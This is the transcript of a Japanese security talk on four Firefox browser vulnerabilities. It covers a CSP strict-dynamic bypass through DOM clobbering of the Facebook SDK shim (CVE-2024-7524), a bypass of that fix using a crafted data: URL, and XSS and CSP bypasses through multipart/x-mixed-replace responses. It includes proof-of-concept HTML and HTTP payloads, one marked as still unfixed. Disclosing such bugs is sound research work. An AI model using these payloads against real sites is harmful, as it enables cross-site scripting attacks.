Upgrade to Pro — share decks privately, control downloads, hide ads and more …

ブラウザのレガシー・独自機能を愛でる-Firefoxの脆弱性4選- / Browser Cra...

ブラウザのレガシー・独自機能を愛でる-Firefoxの脆弱性4選- / Browser Crash Club #1

Browser Crash Club #1( https://browsercrashclub.connpass.com/event/350203/ )の発表資料です。

Masato Kinugawa

April 16, 2025
Tweet

More Decks by Masato Kinugawa

Other Decks in Technology

Transcript

  1. 独自機能に見つけたバグ Firefox adds web-compatibility shims in place of some tracking

    scripts blocked by Enhanced Tracking Protection. On a site protected by Content Security Policy in "strict-dynamic" mode, an attacker able to inject an HTML element could have used a DOM Clobbering attack on some of the shims and achieved XSS, bypassing the CSP strict-dynamic protection. CVE-2024-7524: CSP strict-dynamic bypass using web-compatibility shims https://www.mozilla.org/en-US/security/advisories/mfsa2024-33/#CVE-2024-7524
  2. Facebook SDKのshim const originalUrl = document.currentScript.src; // omitted async function

    allowFacebookSDK(postInitCallback) { // omitted const script = document.createElement("script"); script.src = originalUrl; // omitted document.head.appendChild(script); return allowingFacebookPromise; } https://searchfox.org/mozilla-central/rev/5756c5a3dea4f2896cdb3c8bb15d0ced5e2bf690/browser/extensions/webcompat/shims/facebook-sdk.js 以下は https://connect.facebook.net/en_US/sdk.js のshimの一部:
  3. const originalUrl = document.currentScript.src; // omitted async function allowFacebookSDK(postInitCallback) {

    // omitted const script = document.createElement("script"); script.src = originalUrl; // omitted document.head.appendChild(script); return allowingFacebookPromise; } ❶ まず現在処理中のスクリプトのURL(この場合Facebook SDKのオリジナルのURL)を変数へ ❷ ログインなどのSDK呼び出し後に呼ばれる allowFacebookSDK関数で その変数をscriptのsrcにセットしロード 問題なさそう?
  4. document.foo // <img> DOM Clobbering • window.* や document.* に対しHTMLを通じて参照を作成し

    予期しないアクセスを発生させる手法 <img name=foo src=https://test/> document.* に画像への参照を作成する正常な例:
  5. DOM Clobbering // inside test.js document.currentScript <img name=currentScript src=https://test/> <script

    src=test.js></script> じゃあ、このnameに currentScript が指定されたら…?
  6. DOM Clobbering // inside test.js document.currentScript <img name=currentScript src=https://test/> <script

    src=test.js></script> じゃあ、このnameに currentScript が指定されたら…? 現在処理中のスクリプト…ではなく画像の方を参照してしまう
  7. const originalUrl = document.currentScript.src; // omitted async function allowFacebookSDK(postInitCallback) {

    // omitted const script = document.createElement("script"); script.src = originalUrl; // omitted document.head.appendChild(script); return allowingFacebookPromise; } currentScriptというnameがついた画像を参照するかもしれない? その画像の src に指定されたURLを スクリプトとして読み込むかもしれない? だとしてなにか問題があるか?
  8. CSP strict-dynamic • 前頁のCSPでは以下のいずれかを満たす<script>は実行される • createElement()で作成されたもの • nonce属性がCSPヘッダで指定されたものと一致するもの script =

    document.createElement('script'); script.src = 'https://arbitrary-host/test.js'; document.body.appendChild(script); <script nonce=random>alert(123)</script> document.write('<script>alert(123)<\/script>');
  9. CSP strict-dynamic をバイパスできるケース • nonceを漏らせる場合 • nonceが固定・推測可能 • ページ中から何らかの方法で取得して設定できる場合など •

    既存のcreateElement()を呼ぶ処理に介入できる場合 • ユーザー入力が createElement('script') のsrcに設定されるケース そんな都合が良いことあるわけ……あれ?
  10. const originalUrl = document.currentScript.src; // omitted async function allowFacebookSDK(postInitCallback) {

    // omitted const script = document.createElement("script"); script.src = originalUrl; // omitted document.head.appendChild(script); return allowingFacebookPromise; } ❶ 攻撃者が挿入したHTMLからcurrentScriptというnameがついた画像を参照させる ❷ その画像の src に指定されたURLを スクリプトとして読み込む createElement() に介入できている! = このロードはCSP strict-dynamicが使われるページで誰にも邪魔されない
  11. <head> <meta http-equiv="Content-Security-Policy" content="script-src 'strict-dynamic' 'nonce-random'"> </head> <body> <!-- XSS

    START--> XSS<img name="currentScript" src="data:,alert(document.domain)">XSS <!-- XSS END --> <script nonce="random"> // ここにSDKの FB.login() を呼び出すコードが必要 // 呼ばれると allowFacebookSDK() へ到達 </script> <script async defer nonce="random" crossorigin="anonymous" src="https://connect.facebook.net/en_US/sdk.js"></script> PoC (CSP strict-dynamic Bypass)
  12. この問題の影響 • 以下を満たす必要があるためかなり限定的 • Strict ETPかプライベートブラウジングでFirefoxを使っている • 攻撃者はHTML(少なくとも任意のname付き画像)を書ける • strict-dynamicを使っている

    • Facebook SDKがロードされている • FB.login() が呼ばれるなど allowFacebookSDK() に到達できる • 単にCSPバイパスを伴わないXSSに使える場合も考えられる • HTMLサニタイザーが任意のname付きimgを許可する状況など
  13. const originalUrl = (() => { const src = document.currentScript?.src;

    try { const { protocol, hostname, pathname, href } = new URL(src); if ( (protocol === "http:" || protocol === "https:") && hostname === "connect.facebook.net" && (pathname.endsWith("/sdk.js") || pathname.endsWith("/all.js")) ) { return href; } if (href.includes("all.js")) { // Legacy SDK. return "https://connect.facebook.net/en_US/all.js"; } } catch (_) {} return "https://connect.facebook.net/en_US/sdk.js"; })(); 修正 currentScript.srcがFacebookの URLかどうかの検証が追加
  14. const originalUrl = (() => { const src = document.currentScript?.src;

    try { const { protocol, hostname, pathname, href } = new URL(src); if ( (protocol === "http:" || protocol === "https:") && hostname === "connect.facebook.net" && (pathname.endsWith("/sdk.js") || pathname.endsWith("/all.js")) ) { return href; } if (href.includes("all.js")) { // Legacy SDK. return "https://connect.facebook.net/en_US/all.js"; } } catch (_) {} return "https://connect.facebook.net/en_US/sdk.js"; })(); おまけ2: 最初の修正のバイパス 最初ここが無かった
  15. おまけ2: 最初の修正のバイパス hash: "" host: "connect.facebook.net"​ hostname: "connect.facebook.net"​ href: "data://connect.facebook.net/sdk.js?,alert(document.domain)"​

    origin: "null"​ password: ""​ pathname: "/sdk.js"​ port: ""​ protocol: "data:"​ search: "?,alert(document.domain)"​ username: "" pathname.endsWith("/sdk.js") hostname === "connect.facebook.net" new URL("data://connect.facebook.net/sdk.js?,alert(document.domain)") 細工したdata: URLを使うとチェックをパスしてJSが実行された:
  16. 注目したレガシー機能: multipart/x-mixed-replace • Content-Typeレスポンスヘッダで解釈される値 HTTP/1.1 200 OK Content-Type: multipart/x-mixed-replace;boundary=BOUNDARY [...]

    foo --BOUNDARY Content-Type: text/html <script>alert(document.domain)</script> --BOUNDARY-- 以下でHTMLページが表示され<script> が実行される:
  17. どうなってるの? HTTP/1.1 200 OK Content-Type: multipart/x-mixed-replace;boundary=BOUNDARY [...] foo --BOUNDARY Content-Type:

    text/html <script>alert(document.domain)</script> --BOUNDARY-- オリジナルの応答の response body
  18. どうなってるの? HTTP/1.1 200 OK Content-Type: multipart/x-mixed-replace;boundary=BOUNDARY [...] foo --BOUNDARY Content-Type:

    text/html <script>alert(document.domain)</script> --BOUNDARY-- この文字列で応答が パートに区切られる
  19. どうなってるの? HTTP/1.1 200 OK Content-Type: multipart/x-mixed-replace;boundary=BOUNDARY [...] foo --BOUNDARY Content-Type:

    text/html <script>alert(document.domain)</script> --BOUNDARY-- レスポンスヘッダ (パートの)
  20. どうなってるの? HTTP/1.1 200 OK Content-Type: multipart/x-mixed-replace;boundary=BOUNDARY [...] foo --BOUNDARY Content-Type:

    text/html <script>alert(document.domain)</script> --BOUNDARY-- レスポンスボディ (パートの)
  21. HTTP/1.1 200 OK Content-Type: multipart/x-mixed-replace;boundary=BOUNDARY [...] --BOUNDARY Content-Type: image/jpeg Content-Length:

    3333 (image data #1) --BOUNDARY Content-Type: image/jpeg Content-Length: 3345 (image data #2) --BOUNDARY Content-Type: image/jpeg Content-Length: 3325 (image data #3) --BOUNDARY-- パートは複数にもなる サーバーがパート毎に間隔をあけて 応答を返すようにすると…
  22. HTTP/1.1 200 OK Content-Type: multipart/x-mixed-replace;boundary=BOUNDARY [...] --BOUNDARY Content-Type: image/jpeg Content-Length:

    3333 (image data #1) --BOUNDARY Content-Type: image/jpeg Content-Length: 3345 (image data #2) --BOUNDARY Content-Type: image/jpeg Content-Length: 3325 (image data #3) --BOUNDARY-- ブラウザの表示
  23. HTTP/1.1 200 OK Content-Type: multipart/x-mixed-replace;boundary=BOUNDARY [...] --BOUNDARY Content-Type: image/jpeg Content-Length:

    3333 (image data #1) --BOUNDARY Content-Type: image/jpeg Content-Length: 3345 (image data #2) --BOUNDARY Content-Type: image/jpeg Content-Length: 3325 (image data #3) --BOUNDARY-- ブラウザの表示
  24. HTTP/1.1 200 OK Content-Type: multipart/x-mixed-replace;boundary=BOUNDARY [...] --BOUNDARY Content-Type: image/jpeg Content-Length:

    3333 (image data #1) --BOUNDARY Content-Type: image/jpeg Content-Length: 3345 (image data #2) --BOUNDARY Content-Type: image/jpeg Content-Length: 3325 (image data #3) --BOUNDARY-- ブラウザの表示
  25. あふれ出る疑問 • レスポンスヘッダ • オリジナルとパートにあるものどっちが優先? • 後から送られたパートにあるもので上書きされる? • パートでも全てのヘッダーがサポートされている? •

    どんなContent-Typeでもサポートしている? • Chromeの画像のみサポートってSVGも含まれる? • 応答の置き換え • 中身が変わる時何が起きている? • 履歴は?キャッシュは? • これをいろんなHTMLタグからロードしても中身が換わる? • その他 • data: URLからロードできる? 疑問を1つ1つ解決していくと脆弱性が見つかった!
  26. x-mixed-replace + attachment = ??? HTTP/1.1 200 OK Content-Disposition: attachment

    Content-Type: multipart/x-mixed-replace;boundary=BOUNDARY [...] foo --BOUNDARY Content-Type: text/html <script>alert(document.domain)</script> --BOUNDARY-- 直接開くと…?
  27. x-mixed-replace + attachment = XSS!! HTTP/1.1 200 OK Content-Disposition: attachment

    Content-Type: multipart/x-mixed-replace;boundary=BOUNDARY [...] foo --BOUNDARY Content-Type: text/html <script>alert(document.domain)</script> --BOUNDARY-- OK example.com attachment無視!!
  28. XSSの悪用条件 (attachmentが付く応答で) ・Content-Typeレスポンスヘッダを指定できる ・レスポンスボディをコントロールできる POST https://example.com/upload HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

    [...] ------WebKitFormBoundary Content-Disposition: form-data; name="file"; filename="test" Content-Type: foo/bar [...] ------WebKitFormBoundary-- どちらもファイルアップロード機能からよく指定できる: そのまま応答に使われがち
  29. HTTP/1.1 200 OK Content-Type: multipart/x-mixed-replace;boundary=BOUNDARY [...] --BOUNDARY Content-Type: application/pdf aaa

    --BOUNDARY Content-Type: text/html <script>alert(window.origin)</script> --BOUNDARY-- PDF→HTML と返す応答で 実験してみる
  30. HTTP/1.1 200 OK Content-Type: multipart/x-mixed-replace;boundary=BOUNDARY [...] --BOUNDARY Content-Type: application/pdf aaa

    --BOUNDARY Content-Type: text/html <script>alert(window.origin)</script> --BOUNDARY-- まずはPDFを返して… ブラウザの表示
  31. HTTP/1.1 200 OK Content-Type: multipart/x-mixed-replace;boundary=BOUNDARY [...] --BOUNDARY Content-Type: application/pdf aaa

    --BOUNDARY Content-Type: text/html <script>alert(window.origin)</script> --BOUNDARY-- ブラウザの表示 次にHTMLを返す… さあ、alertは何を言う?
  32. HTTP/1.1 200 OK Content-Type: multipart/x-mixed-replace;boundary=BOUNDARY [...] --BOUNDARY Content-Type: application/pdf aaa

    --BOUNDARY Content-Type: text/html <script>alert(window.origin)</script> --BOUNDARY-- ブラウザの表示 OK resource://pdf.js !?
  33. その他のバグ事例: CSPバイパス(by @ankursundara) https://x.com/ankursundara/status/1723410507389129092 https://bugzilla.mozilla.org/show_bug.cgi?id=1864434 HTTP/1.1 200 OK Content-Security-Policy: default-src

    'none' Content-Length: 137 Connection: Close Content-Type: multipart/x-mixed-replace; boundary=MYBOUNDARY foo --MYBOUNDARY Content-Type: text/html Content-Security-Policy: script-src 'unsafe-inline' lol<script>alert(1)</script> --MYBOUNDARY-- bar ※まだ未修正 厳密なCSPがオリジナルに存在 この指定がマージされる (※上書きではない) 応答に適用されるCSP: default-src 'none'; script-src 'unsafe-inline'